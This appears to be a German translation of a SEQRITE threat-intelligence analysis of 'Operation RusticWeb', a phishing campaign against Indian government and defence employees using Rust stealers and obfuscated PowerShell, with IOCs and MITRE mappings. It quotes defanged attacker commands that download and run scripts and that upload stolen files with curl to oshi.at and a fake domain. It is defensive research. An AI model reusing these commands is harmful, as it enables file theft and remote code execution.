SEQRITE Das Labs APT-Team hat eine Phishing-Kampagne aufgedeckt, die seit Oktober 2023 verschiedene Mitarbeiter der indischen Regierung ins Visier nimmt. Im Dezember wurden zudem Angriffe auf staatliche und private Einrichtungen im Verteidigungssektor festgestellt. Neue, auf Rust basierende Payloads und verschlüsselte PowerShell-Befehle wurden eingesetzt, um vertrauliche Dokumente an eine webbasierte Service-Engine anstatt an einen dedizierten Command-and-Control-Server (C2) zu exfiltrieren. Die Angreifer haben ihr Arsenal kontinuierlich modifiziert und nutzen nun auch gefälschte Domains, um Schadsoftware und Köderdateien zu hosten. Nachfolgend sind einige Domainnamen und Beispiele für in dieser Kampagne verwendete Köder aufgeführt:
- IPR-Formular des Department of Personnel & Training, speziell für IAS-Beamte
- Gefälschte Domain, die die Army Welfare Education Society (AWES) imitiert
- Statistischer Bericht des Assam CDR von der Kailash Satyarthi Children's Foundation
- Eine weitere gefälschte Domain imitiert Parichay, eine SSO-Plattform der Regierung
- Nominierungsformular für den Defence Services Officers Provident (DSOP) Fund
- Präsentation zum vierteljährlichen Initiativenbericht mit dem Verteidigungsministerium
Diese Kampagne wird unter dem Namen „Operation RusticWeb“ geführt . Mehrere ihrer Taktiken, Techniken und Verfahren (TTPs) überschneiden sich mit denen der pakistanisch-nahen APT-Gruppen Transparent Tribe (APT36) und SideCopy . Sie weist außerdem Ähnlichkeiten mit dem Cisco-Bericht „Operation Armor Piercer“ aus dem Jahr 2021 auf. Bereits im selben Jahr beobachtete unser Team, dass das ESSA -Stipendienformular von AWES gezielt angegriffen wurde.
Bedrohungsakteure wechseln zunehmend von etablierten kompilierten Programmiersprachen zu neueren wie Golang, Rust und Nim. Dies ermöglicht zwar plattformübergreifende Kompatibilität, erschwert aber gleichzeitig die Erkennung. Jüngste Beispiele für von unserem Team analysierte Golang-Malware sind das Windows-basierte Warp- Malware- Ökosystem , das einen Telegram-Bot als Command-and-Control-Server (C2) nutzt, und die Linux-basierte Stager-Payload von Ares RAT . Gleichzeitig sind diverse Ransomware-Anbieter (RaaS) von Golang auf Rust umgestiegen, da diese Sprache eine hohe Verschlüsselungsleistung und schnelle Umgehungsgeschwindigkeit bei gleichzeitiger Gewährleistung der Speichersicherheit bietet.
Infektionskette 1
Die erste beobachtete Infektion basiert stark auf Rust-basierten Nutzdaten, die zur Enumeration des Dateisystems verwendet werden. Eine bösartige Verknüpfungsdatei löst eine Infektion aus, bei der eine gefälschte AWES-Domäne verwendet wird, um diese Nutzdaten abzulegen und Daten an einen Filesharing-Webdienst zu exfiltrieren.
Abb. 1 – Infektionskette (1)
Der Angreifer versucht, das Opfer mit Spear-Phishing zu erreichen und führt es zu einer Archivdatei namens „ IPR_2023-24 “. Diese enthält eine Windows-Verknüpfung, die sich als PDF-Datei mit doppelter Dateiendung tarnt. Der Kommentar im Dateinamen deutet darauf hin, dass es sich um ein Formular im Zusammenhang mit geistigem Eigentum handelt.
Abb. 2 – Bösartige Verknüpfungsdatei
| C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -ep Bypass -nop -c „iwr ‚hxxps://rb[.]gy/gbfsi‘ -OutFile $env:USERPROFILE\Documents\file.ps1; & $env:USERPROFILE\Documents\file.ps1“ |
Durch das Öffnen dieses Fensters wird PowerShell veranlasst, ein Skript von der Domain rb[.]gy , einem kostenlosen URL-Kürzer , herunterzuladen und auszuführen . Mithilfe von Befehlszeilenparametern, die die Ausführungsrichtlinie ohne Profil umgehen, wird das PS1-Skript mit Invoke-WebRequest heruntergeladen.
Victimology
Anhand der verkürzten URL können wir mithilfe des Trackers die Anzahl der Klicks und das Herkunftsland der Klicks ermitteln. Die Kampagne startete Ende September, und im Oktober war eine hohe Aktivität zu beobachten, wobei 26.53 % der Klicks allein aus Indien stammten. Dies gibt zwar keinen Hinweis auf eine bestätigte Viktimologie, aber einen Überblick über das anvisierte Opfer.
Abb. 3 – Viktimologie
PowerShell-Phase
Die erweiterte URL verweist auf eine Domain namens awesscholarship[.]in, um das PowerShell-Skript (file.ps1) abzurufen und im Ordner „Dokumente “ zu speichern . Vor dem Ausführen des Skripts sieht der Domainname wie ein Stipendium der „Army Welfare Education Society“ aus. Die offizielle Domain dieser Organisation lautet scholarship[.]awesindia[.]com , wo in der Vergangenheit bereits ähnliche Phishing-Kampagnen beobachtet wurden. Beim Öffnen dieser gefälschten Domain-Seite wird man auf die offizielle AWES-Seite weitergeleitet, wo eine offizielle Warnmeldung angezeigt wird (siehe unten).
Abb. 4 – Offizieller Hinweis auf gefälschte Website
Das PowerShell-Skript beginnt mit der Einrichtung von URL-Pfaden zum Herunterladen der Nutzdaten der nächsten Stufe zusammen mit dem Köderdokument. Zielpfade zum Herunterladen und Hochladen von Dateien werden eingerichtet, wobei drei Funktionen hauptsächlich für diese Funktionen definiert werden.
Abb. 5 – PowerShell-Skript
Die Funktionen X und Y dienen dazu, Meldungen in eine Datei zu schreiben bzw. eine Datei von der angegebenen URL in den Zielpfad herunterzuladen und zu protokollieren. Der Zielpfad ist das Standardverzeichnis „ Dokumente“ . Dort wird ein neuer Ordner namens „ Downloads “ erstellt, in dem die Test-PDF-Datei und ein Archiv abgelegt werden.
Abb. 6 – PowerShell-Skript (Fortsetzung)
Sobald die Köderdatei geöffnet ist, wird die Archivdatei extrahiert, die eine einzelne Datei ohne Dateiendung enthält. Diese wird umbenannt, um die Dateiendung .exe hinzuzufügen, und ausgeführt. Abschließend wird die Z-Funktion verwendet, um die Protokolldatei mithilfe des curl -Befehls auf den Server hochzuladen und die aufgezeichneten Protokolle anschließend zu löschen.
Abb. 7 – Logdatei hochgeladen
Inzwischen ist die geöffnete Lockvogel-Datei ein Formular für eine Erklärung zur Rückgabe unbeweglichen Eigentums, in dem der Dienst als „Indischer Verwaltungsdienst'. Mehrere ähnliche Formulare sind auf verschiedenen indischen Regierungsportalen öffentlich zugänglich. Dieses leere IPR-Formular ist jedoch auf dem DoPT (Department of Personnel & Training) verfügbar. Website Dies fällt unter die Zuständigkeit des indischen Ministeriums für Personal, öffentliche Beschwerden und Renten. Beachten Sie, dass dies in keiner Weise mit dem ESSA-Bildungsstipendienprogramm des persönlichen Antragsformulars der Armee zusammenhängt.
Abb. 8 – Lockvogel: IPR-Formular für IAS-Beamte (Okt. 23)
Downloader: Systemprüfungsphase
Die EXE-Payload entpuppt sich als in Rust kompilierte Binärdatei, die grundlegende Systeminformationen aus dem PDB-Pfad „ syscheck.pdb “ ausliest. Nach dem Entschlüsseln der Rust-Funktionsnamen mithilfe eines IDA-Pro-Plugins werden zahlreiche Aufrufe von Schreib- und Befehlsausführungsfunktionen sichtbar. Die Informationen werden wie folgt abgerufen:
- Domain ifconfig[.]me um die IP-Adresse abzurufen
- Ein WMIC-Befehl zum Abrufen der auf dem Opfersystem vorhandenen aktiven Laufwerke – „wmic logicaldisk get caption".
Abb. 9 – Systemprüfungsprotokolle
Diese Protokolle werden in einer Datei namens „ MySystem.txt “ im Verzeichnis ProgramData\syscheck gespeichert und in dieselbe Domäne hochgeladen wie:
„curl -F TT=@C:\ProgramData\syscheck\MySystem.txt hxxps://awesscholarship[.in/upload/upload.php“
Abb. 10 – URL zum Herunterladen der nächsten Stufe
Anschließend wird ein weiteres Archiv namens file1.zip von derselben gefälschten Domain heruntergeladen und entpackt. Es wird in „ MySystem.exe “ umbenannt und ausgeführt. Schließlich wird die Persistenz dieser finalen Payload über das Autostart-Verzeichnis sichergestellt.
Abb. 11 – Persistenz durch Startup
Stealer: Letzte Stufe
Die finale Payload ist eine weitere Rust-basierte Malware, die Dateien stiehlt, Systemnamen und IP-Adressen sammelt und einzelne Dateien zusammen mit den Protokollen hochlädt. Sie verfügt nicht über die integrierten Funktionen anspruchsvoller Info-Diebe, wie sie beispielsweise aus Webbrowsern, Discord/Steam oder Kryptowährungs-Wallets gestohlen werden können. In dieser Kampagne wurden mehrere Versionen dieses Stealers mit Kompilierungszeitstempeln von September bis Dezember gefunden. Sie wiesen eine deutlich niedrigere Erkennungsrate auf Virus Total auf.
| MD5 | Kompilierungszeitstempel | PDB |
| da745b60b5ef5b4881c6bc4b7a48d784 | 2023-09-26 | syscheck.pdb |
| f68b17f1261aaa4460d759d95124fbd4 | 2023-09-26 | alam.pdb |
| 237961bbba6d4aa2e0fae720d4ece439 | 2023-10-26 | alam.pdb |
| d2949a3c4496cb2b4d204b75e24390d9 | 2023-12-08 | Zew.pdb |
| fc61b985d8c590860f397d943131bfb5 | 2023-12-11 | Zew.pdb |
Änderungen im PDB-Pfadnamen sind in den Proben vom Oktober und Dezember zu sehen, aber die Ähnlichkeit ist beim Vergleich über BinDiff nahezu identisch, nämlich 91 %, abgesehen von einigen geringfügigen Änderungen.
Abb. 12 – Ähnlichkeit in Stichproben
Es listet alle Dokument- und Archivdateien auf allen Laufwerken auf, die es zuvor im Download-Schritt abgerufen hat. Für jedes Beispiel werden im Verzeichnis „ProgramData“ zwei Protokolldateien in einem neuen Ordner mit unterschiedlichen Namen ( Micro, File ) erstellt . Diese dienen der Speicherung von Aufzeichnungen der hochgeladenen Dateien und Protokollen der aufgelisteten Dateien. Nachdem die aufgelisteten Dateien in „ Logs.txt “ gespeichert wurden, wird jede Datei per curl -PUT-Methode auf die Domain oshi[.]at hochgeladen , einem anonymen öffentlichen Dateiaustauschdienst namens OshiUpload.
„curl -TC:\Benutzer\test\Downloads\ .zip hxxps://oshi[.]at”
Zusammen mit dem Desktop-Namen sind die Download-Links für diese Dateien in der Datei „ Records.txt “ gespeichert. Diese enthält drei URLs für jede Datei. Zwei davon sind Clearnet-Links – einer zur Verwaltung und einer zum Herunterladen. Die dritte URL führt zu einer Tor-Domain von Oshi, über die der Download über einen Hidden Service erfolgt.
Abb. 13 – Download-Links hochgeladener Dateien
Auf der Verwaltungsseite werden die Attribute der hochgeladenen Datei angezeigt – Download-Links, Größe, Typ, Hash und Zeitstempel. Optionen zum Löschen der Datei sowie ein Ablauftimer sind vorhanden.
Abb. 14 – Verwaltungsseite für hochgeladene Dateien
Die Protokolldateien mit Zeitstempeln im Dateinamen werden in die gefälschte AWES-Domäne hochgeladen. Die Serverantwort wird auf einen erfolgreichen Upload überprüft. Anschließend wird der Server in einen unbegrenzten Ruhezustand versetzt, bis er unterbrochen wird.
Abb. 15 – Serverantwort nach dem Hochladen der Protokolle
Mit den neuen Stealer-Payloads, die wir im Dezember beobachtet haben, nutzt der Angreifer ein neues Köderdokument der Kailash Satyarthi Children's Foundation. Das Dokument ist auf deren Website verfügbar und bezieht sich auf deren Statistikbericht über „Kinderehen und andere Verbrechen gegen Kinder in Assam“.
Abb. 16 – Lockvogel: Assam CDR (Dez. 23)
Die Verwendung von Lockvögeln in Form von Kinderstiftungen oder -vereinen für Armeekinder und IAS-Beamte in einer Spear-Phishing-Kampagne deutet auf eine gezielte Aktion hin, die sich an indische Regierungsbeamte richtet, insbesondere an diejenigen, die mit Kinderstiftungen oder -vereinen in Verbindung stehen.
Infektionskette 2
Eine ähnliche Infektionskette wurde im Dezember mithilfe von Maldocs beobachtet. Dabei erfolgten Enumeration und Exfiltration mithilfe von PowerShell-Skripten anstelle von Rust-basierten Payloads. Neben zwei gefälschten Domänen wurden hier verschlüsselte PowerShell-Skripte verwendet.
Abb. 17 – Infektionskette (2)
Die Infektion beginnt mit einem Phishing-Maldoc, das ein bösartiges VBA-Makro enthält. Neben einfacher VBA-Verschleierung enthält es verschlüsselte PowerShell-Befehle. Es wurden ähnliche Maldocs identifiziert, die leicht modifizierte PS-Befehle verwenden.
- Dsop_Nom.ppam
- DSOP-NOM.ppam
- PM_INDIG_INITIATIVE_BRIEF.ppam
Abb. 18 – Bösartiges VBA-Makro
Verschlüsselte PowerShell
Nach dem Öffnen des Dokuments werden die Zahlen in Zeichen umgewandelt, die „ PoWeRSHEll “ bilden. Der PowerShell-Befehl enthält verschlüsselte Daten, die mithilfe von „ ConvertTo-SecureString “ und einem Schlüssel in einen SecureString konvertiert werden. Dies entspricht dem Entschlüsselungsverfahren von PowerShell in Emotet , jedoch mit zusätzlicher Verschleierung.
Abb. 19 – Verschlüsselte und verschleierte PowerShell-Befehle
Im ersten Maldoc wird die konvertierte Zeichenkette mithilfe des Marshal- Objekts speicherverwaltet. Die Entschlüsselung erfolgt über die integrierte DPAPI, um die Befehle mit der Methode SecureStringToGlobalAllocUnicode aufzurufen . Im zweiten Fall wird das PSCredentials- Objekt verwendet, um eine Klartextzeichenkette zu erhalten. Im letzten Fall werden PtrToStringBSTR und SecureStringToBSTR zusammen mit dem Marshal- Objekt verwendet . Zur Verschleierung nutzen die Befehle Techniken aus Invoke-Obfuscation, um den Auslöser des IEX-Befehls mithilfe von Umgebungsvariablen zu maskieren.
Abb. 20 – Verschleierter IEX-Befehl
Anhand der vollständig entschlüsselten PowerShell-Befehle werden die Köderdatei und das PowerShell-Skript für den nächsten Schritt heruntergeladen. Diese werden von den Domänen in die Verzeichnisse „Downloads“ und „Dokumente“ heruntergeladen und ausgeführt.
Abb. 21 – Dekodierte Befehle (1)
Abb. 22 – Dekodierte Befehle (2)
Domänen und Köder
Im ersten Szenario werden Dateien von der Domain „ parichay.epar[.]in “ heruntergeladen , während im zweiten Szenario dieselbe gefälschte Domain von AWES verwendet wird, die bereits in der ersten Infektionskette beobachtet wurde. Auch diese gefälschte Domain dient zum Hosten schädlicher Nutzdaten und imitiert die offizielle Regierungswebsite „ parichay.nic[.]in “. Es handelt sich dabei um eine staatliche SSO-Plattform (Single Sign-On), die die Benutzerregistrierung über ein einheitliches Authentifizierungsverfahren ermöglicht. Während Parichay Regierungsangestellten den Zugriff auf verschiedene NIC-Dienste basierend auf ihrer Abteilung und ihrer staatlichen E-Mail-Adresse (@nic.in/@gov.in) gestattet, autorisiert Jan Parichay Bürger für den Zugriff auf bürgernahe Dienste.
Abb. 23 – Legitime und gefälschte Parichay-Domains
Der erste Köder betrifft das Nominierungsformular für den DSOP-Fonds (Defence Services Officers Provident), der sich mit der Abteilung für Verteidigungskonten befasst. Der zweite Köder bezieht sich auf eine Präsentation zu einem vierteljährlichen Briefing mit dem Verteidigungsministerium.
Abb. 24 – Lockvogel: Defence Services Officers Provident (DSOP) Fund
Abb. 25 – Lockvogel: Verteidigungsministerium
Das nächste PowerShell-Skript „ Mail_check.ps1 “ ist ebenfalls verschlüsselt und verschleiert. Das entschlüsselte Skript lädt zunächst eine Archivdatei herunter und extrahiert sie. Diese enthält eine Payload namens „ syscheck.exe “. Die Datei wird direkt in den Autostart-Ordner extrahiert, um die dauerhafte Speicherung der Payload zu gewährleisten.
Abb. 26 – Abgelegtes PowerShell-Skript nach der Entschlüsselung
Aufzählen und Exfiltrieren
Die Binärdatei ist eine weitere Rust-basierte Payload mit einem anderen PDB-Namen, 'Applet.pdb'. Sie hat einen Compiler-Zeitstempel vom 14. Dezember und den Namen des Cisco AnyConnect Web Helpers mit einem signierten Zertifikat.
Abb. 27 – Binärdatei mit WebHelper-Zertifikat
Anstatt die Enumeration und Exfiltration direkt durchzuführen, wird nach dem Abrufen des Benutzernamens zu diesem Zweck ein PowerShell-Skript namens „ sys.ps1 “ im Bilderverzeichnis abgelegt. Der ausgelöste Befehl lautet:
„powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Datei C:\Benutzer\test\Bilder\sys.ps1“
Bei der Aufzählung werden drei Ordner ausgeschlossen: Windows und beide „ Programme “-Verzeichnisse. Nur 13 Dateitypen werden in die engere Auswahl genommen: („.ppt“, „.pptx“, „.pdf“, „.xlsx“, „.xlsm“, „.xls“, „.xlam“, „.doc“, „.docx“, „.docm“, „.txt“, „.dot“, „.ppam“). Jede Datei wird in der Datei „ paths.txt “ im Ordner „Dokumente“ protokolliert.
Abb. 28 – Enumeration & Exfiltration
Sobald die Datei auf oshi[.]at hochgeladen ist, werden die Download-URLs, ähnlich wie bei Kampagne 1, in der Datei „ suc_logs.txt “ gespeichert. Dieses Skript läuft in einer Endlosschleife und prüft, ob neue Dateien erstellt wurden. Die URL-Protokolle werden nach einer bestimmten Zeitspanne regelmäßig hochgeladen.
Abb. 29 – Hochladen von Protokollen
Währenddessen verfällt die übergeordnete Binärdatei ( syscheck ) in einen endlosen Schlafmodus, sofern sie nicht unterbrochen wird. In diesem Fall lädt sie die URL-Protokolle erneut zu Oshi hoch, anstatt sich zu beenden. Zusätzlich lädt sie die Protokolle dieses Mal vorsichtshalber auch auf eine Subdomain von firebaseio hoch.
Abb. 30 – Hochladen auf Firebaseio mit Authentifizierung
Die Firebase Realtime Database ist eine Cloud-basierte NoSQL-Datenbank, die Daten in Echtzeit speichert und synchronisiert. Sie ist eine offene Plattform von Google, die von Entwicklern häufig für Cloud-basierte Anwendungen genutzt wird und auch Cyberkriminelle angezogen hat, die Schadsoftware wie Unlucky Kamran einsetzen , um Daten zu exfiltrieren. Sie bietet zahlreiche Funktionen wie Cloud-Speicher, Hosting, Echtzeitdatenbank und mehr.
Fazit
Eine neue Phishing-Kampagne zielt auf verschiedene Mitarbeiter der indischen Regierung ab, um vertrauliche Dokumente zu stehlen. Mithilfe von Rust-basierten Schadprogrammen und verschlüsselten PowerShell-Skripten werden Dokumente gesammelt und an eine anonyme öffentliche Dateiaustauschplattform namens OshiUpload anstatt an einen dedizierten Command-and-Control-Server (C2) übertragen. Für diesen Cyber-Spionageangriff werden gefälschte Domains verwendet, die Regierungsseiten imitieren. Die Operation RusticWeb könnte mit einer APT-Bedrohung in Verbindung stehen, da sie Ähnlichkeiten mit verschiedenen pakistanisch verbundenen Gruppen aufweist. Da Angreifer vermehrt auf Malware setzen, die mit neueren Programmiersprachen wie Golang, Rust und Nim entwickelt wurde, empfehlen wir, mit Vorsicht vorzugehen und die notwendigen Schutzmaßnahmen zu ergreifen.
SEQRITE Schutz
- Lnk.Stealer.48397
- PS.Stealer.48398
- RustStealer.48408.GC
- Skript.RustStealer.48409
- Trojan.Ruststealer
MITRE ATT & CK
| Taktik | Technik-ID | Name |
| Ressourcenentwicklung | T1583.001
T1587.001 T1588.002 T1608.001 T1608.005 |
Infrastruktur erwerben: Domänen
Entwicklungsfähigkeiten: Malware Besorgen Sie sich Fähigkeiten: Werkzeug Stage-Fähigkeiten: Hochladen von Malware Bühnenfunktionen: Linkziel |
| Erster Zugriff | T1566.002 | Phishing: Spear-Phishing-Link |
| Ausführung | T1106
T1129 T1059 T1047 T1204.002 |
Native API
Gemeinsam genutzte Module Befehls- und Skriptinterpreter Windows Management Instrumentation Benutzerausführung: Schädliche Datei |
| Beharrlichkeit | T1547.001 | Registrierungsschlüssel ausführen / Startordner |
| Verteidigungsflucht | T1027.010
T1036.007 T1140 |
Befehlsverschleierung
Maskierung: Doppelte Dateierweiterung Enthüllen/Dekodieren von Dateien oder Informationen |
| Bewertung | T1016
T1033 T1083 |
Ermittlung der Systemnetzwerkkonfiguration
Erkennung des Systembesitzers/Benutzers Datei- und Verzeichniserkennung |
| Kollektion | T1005
T1119 |
Daten vom lokalen System
Automatisierte Sammlung |
| Command and Control | T1105 | Ingress-Tool-Übertragung |
| Exfiltration | T1020
T1567 |
Automatisierte Exfiltration
Exfiltration über Webservice |
IOCs
| MD5 | Dateiname |
| 56cb95b63162d0dfceb30100ded1131a | IPR_2023-24.pdf.zip |
| 13ee4bd10f05ee0499e18de68b3ea4d5 | IPR_2023-24.pdf.lnk |
| de30abf093bd4dfe6b660079751951c6 | DSOP-NOM.ppam |
| Powershell | |
| c9969ece7bb47efac4b3b04cdc1538e5 | in.ps1 |
| f14e778f4d22df275c817ac3014873dc | In.ps1 |
| 501a6d48fd8f80a134cf71db3804cf95 | Mail_check.ps1 |
| 6d29fc0a73096433ff9449c4bbc4cccc | sys.ps1 |
| Lockvögel | |
| a9182c812c7f7d3e505677a57c8a353b | Ipr.pdf |
| f5d8664cbf4a9e154d4a888e4384cb1d | abc009.pdf |
| 3ce8dfb3f1bff805cb6b85a9e950b3a2 | 1.pdf |
| a696c50dd5d15ba75c9e7f8d3c64997c | 1.pdf |
| Archiv | |
| e0102071722a87f119b12434ae651b48 | |
| ee8d767069faf558886f1163a92e4009 | |
| 9f3359ae571c247a8be28c0684678304 | |
| b0b6629d35451bcc511c0f2845934c3e | |
| f2501e8b57486c427579eeda20b729fd | |
| 20b4eb5787faa00474f7d27c0fea1e4b | |
| 635864ff270cf8e366a7747fb5996766 | |
| EXE | |
| da745b60b5ef5b4881c6bc4b7a48d784 | |
| f68b17f1261aaa4460d759d95124fbd4 | |
| 237961bbba6d4aa2e0fae720d4ece439 | |
| d2949a3c4496cb2b4d204b75e24390d9 | |
| fc61b985d8c590860f397d943131bfb5 | |
| 04557782d7017f18ec059fc96d7f2dc8 | |
| Domäne/IP | |
| Ehrfurchtsstipendium[.]in 89.117.188[.]126 |
|
| parichay.epar[.]in 13.232.102[.]189 |
|
| oshi[.]at | |
| alfa-aeafa-default-rtdb.firebaseio[.]com | |
| URLs | |
| hxxps://rb[.]gy/gbfsi | |
| hxxps://awesscholarship[.]in/upload/file.zip | |
| hxxps://awesscholarship[.]in/upload/file1.zip | |
| hxxps://awesscholarship[.]in/upload/in.ps1 | |
| hxxps://awesscholarship[.]in/upload/upload.php | |
| hxxps://awesscholarship[.]in/upload/Ipr.pdf | |
| hxxps://awesscholarship[.]in/upload/abc009.pdf | |
| hxxps://awesscholarship[.]in/upload/1.pdf | |
| hxxps://awesscholarship[.]in/upload/DSOP-NOM.zip | |
| hxxps://awesscholarship[.]in/ppam/Mail_Check.ps1 | |
| hxxps://awesscholarship[.]in/ppam/syscheck.zip | |
| hxxps://parichay.epar[.]in/Win/1.pdf | |
| hxxps://parichay.epar[.]in/Win/Mail_Check.ps1 | |
| PDB | |
| C:\Benutzer\123\Desktop\Syscheck\target\release\deps\syscheck.pdb | |
| C:\Benutzer\123\Desktop\Alam\target\release\deps\alam.pdb | |
| C:\Benutzer\123\Desktop\Aplet\target\release\deps\Aplet.pdb | |
| D:\HOME\DESKTOP NEUE DATEN\Zew\target\release\deps\Zew.pdb | |
| Gastgeber | |
| C:\ProgramData\syscheck\file.zip | |
| C:\ProgramData\syscheck\MySystem.exe | |
| C:\ProgramData\syscheck\MySystem.txt | |
| C:\ProgramData\Micro\logs.txt | |
| C:\ProgramData\Micro\records.txt | |
| C:\ProgramData\Files\Log.txt | |
| C:\ProgramData\Files\Records.txt | |
| Dokumente\downloadAndExecuteLog.txt | |
| Dokumente\Datei.ps1 | |
| Dokumente\meineDatei.zip | |
| Dokumente\entpackterOrdner\file.exe | |
| Dokumente\Downloads\myfile.pdf | |
| Dokumente\Pfade.txt | |
| Dokumente\suc_logs.txt | |
| Dokumente\Mail_Check.ps1 | |
| Dokumente\syscheck.zip | |
| Downloads\1.pdf | |
| Bilder\sys.ps1 | |
| %appdata%\Microsoft\Windows\Startmenü\Programme\Autostart\MySystem.exe | |
| %appdata%\Microsoft\Windows\Startmenü\Programme\Autostart\syscheck.exe | |
Autor : Sathwik Ram Prakki
